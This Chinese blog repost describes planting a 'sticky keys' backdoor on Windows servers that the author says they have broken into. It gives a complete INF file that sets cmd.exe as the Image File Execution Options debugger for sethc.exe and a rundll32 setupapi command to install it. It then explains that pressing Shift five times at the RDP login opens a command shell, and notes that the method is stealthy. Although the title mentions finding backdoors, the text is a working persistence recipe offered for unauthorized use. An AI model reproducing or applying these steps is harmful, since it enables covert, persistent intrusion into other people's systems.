我是靠谱客的博主 要减肥鸡,最近开发中收集的这篇文章主要介绍添加SHIFT后门又一法 学习如何查找后门,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

前几天搞了几个网站,之前搞的站一般不留后门,其实基本留了都被删除了,这次下决心要搞个shift后门留着自己用的,秒杀给你介绍一个方法!

将下面的代码保存成inf文件

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution options\sethc.exe,debugger,0x00000000,c:\windows\system32\cmd.exe

然后上传到一个可以执行目录,比如我这里上传到c:\windows\temp\i.inf 然后在命令行执行

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\windows\temp\i.inf

然后远程登录3389,按5下shift即可跳出cmd.exe

为什么要命令行?隐蔽性?大家自行掂量

转载:秒杀博客

最后

以上就是要减肥鸡为你收集整理的添加SHIFT后门又一法 学习如何查找后门的全部内容,希望文章能够帮你解决添加SHIFT后门又一法 学习如何查找后门所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(176)

评论列表共有 0 条评论

立即
投稿
返回
顶部